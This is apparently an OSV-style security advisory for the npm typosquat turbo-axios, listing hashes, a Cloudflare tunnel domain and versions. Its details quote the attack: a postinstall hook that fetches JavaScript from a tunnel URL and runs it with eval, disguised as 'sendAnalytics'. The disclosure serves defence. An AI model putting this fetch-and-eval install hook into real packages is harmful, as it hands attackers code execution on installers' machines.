{
  "affected": [
    {
      "database_specific": {
        "cwes": [
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          },
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          }
        ],
        "indicators": {
          "domains": [
            "philosophy-moms-incoming-milton.trycloudflare.com"
          ],
          "evidence_files": [
            {
              "path": "lib/core/eval.js",
              "sha256": "584dccb79cebc15dc680287617ce7534b6b9860a4b956c0bf5398145c6e08d0d",
              "tlsh": "c401d2991abb29235b3992d49e1b140bf3a17a031680e3c9f78883994fb9940c5428ee"
            },
            {
              "path": "package.json",
              "sha256": "cf0961ab23bb2e46e5aea0da5b3f7d6195c76d7f401d1f4f9e7775568eb16b39",
              "tlsh": "ccd1ec73c9ca4d572fb47aa8a87a9264f231c30fa551c90fb17e024c4f7572f129762a"
            }
          ],
          "package_integrity": [
            {
              "filename": "turbo-axios-1.17.2.tgz",
              "hashes": {
                "sha1": "98b0b5dc911586a4a736c0145157748f2707c4a9",
                "sha512_sri": "sha512-LluR+Xr/hcuvo6stjwKCseXKUFx6zqfwbHwMMU6DiWbshT6GqyHU0id1Cl++2P7Tv/ugi3TJewlNFOwOO1tRNQ=="
              }
            }
          ]
        }
      },
      "package": {
        "ecosystem": "npm",
        "name": "turbo-axios"
      },
      "versions": [
        "1.17.2",
        "1.17.3"
      ]
    }
  ],
  "credits": [
    {
      "contact": [
        "actran@amazon.com"
      ],
      "name": "Amazon Inspector",
      "type": "FINDER"
    }
  ],
  "database_specific": {
    "malicious-packages-origins": [
      {
        "id": "IN-MAL-2026-004349",
        "import_time": "2026-05-26T05:52:25.548235993Z",
        "modified_time": "2026-05-23T15:53:39Z",
        "sha256": "62503451ade68043379968f3dc4784fdb66424d55422854514e3ba1b10058324",
        "source": "amazon-inspector",
        "versions": [
          "1.17.2"
        ]
      },
      {
        "id": "IN-MAL-2026-004362",
        "import_time": "2026-05-26T05:52:27.098050827Z",
        "modified_time": "2026-05-23T16:19:11Z",
        "sha256": "9d7a284fd6c939193711d8b2892a48375e0d0d1e75022dd2c33799a0df3dd4c8",
        "source": "amazon-inspector",
        "versions": [
          "1.17.3"
        ]
      },
      {
        "id": "IN-MAL-2026-004350",
        "import_time": "2026-05-26T05:52:25.678412603Z",
        "modified_time": "2026-05-23T15:53:40Z",
        "sha256": "e2a0231d72ca5ebe4597aab01d0bae4a95762789e9be835b563639acea93ceb5",
        "source": "amazon-inspector",
        "versions": [
          "1.17.2"
        ]
      },
      {
        "id": "IN-MAL-2026-004360",
        "import_time": "2026-05-26T05:52:26.893283628Z",
        "modified_time": "2026-05-23T16:14:27Z",
        "sha256": "f6942a85f7291a7da9e7f27d5502a81308758330fddb9b9e2ad6299a0404bb15",
        "source": "amazon-inspector",
        "versions": [
          "1.17.3"
        ]
      }
    ]
  },
  "details": "\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (62503451ade68043379968f3dc4784fdb66424d55422854514e3ba1b10058324)\nturbo-axios is a typosquat of the popular axios HTTP client (it re-exports the full axios API and reuses axios\u0027s repository/homepage metadata in package.json) carrying an install-time remote code execution payload. package.json declares `\"postinstall\": \"node./lib/core/eval.js\"`. lib/core/eval.js performs `fetch(\u0027https://consequences-faces-weblogs-clinical.trycloudflare.com/download/datab1\u0027)` and then `await eval(`(async () =\u003e {\\n${datab2}\\n})();`)`, executing the response body as JavaScript inside an async IIFE. The destination is an anonymous, mutable Cloudflare quick-tunnel \u2014 not the publisher\u0027s infrastructure \u2014 and the fetched bytes are not pinned, hashed, or otherwise verified, so the attacker can ship arbitrary code to every installer at any time. The exfil/RCE function is misleadingly named `sendAnalytics`. Any `npm install turbo-axios` results in attacker-controlled code execution on the installer\u0027s machine with the privileges of the npm process.\n",
  "id": "MAL-2026-4695",
  "modified": "2026-05-26T05:55:04Z",
  "published": "2026-05-23T15:53:39Z",
  "references": [
    {
      "type": "PACKAGE",
      "url": "https://www.npmjs.com/package/turbo-axios/v/1.17.2"
    },
    {
      "type": "PACKAGE",
      "url": "https://www.npmjs.com/package/turbo-axios/v/1.17.3"
    }
  ],
  "schema_version": "1.7.4",
  "summary": "Malicious code in turbo-axios (npm)"
}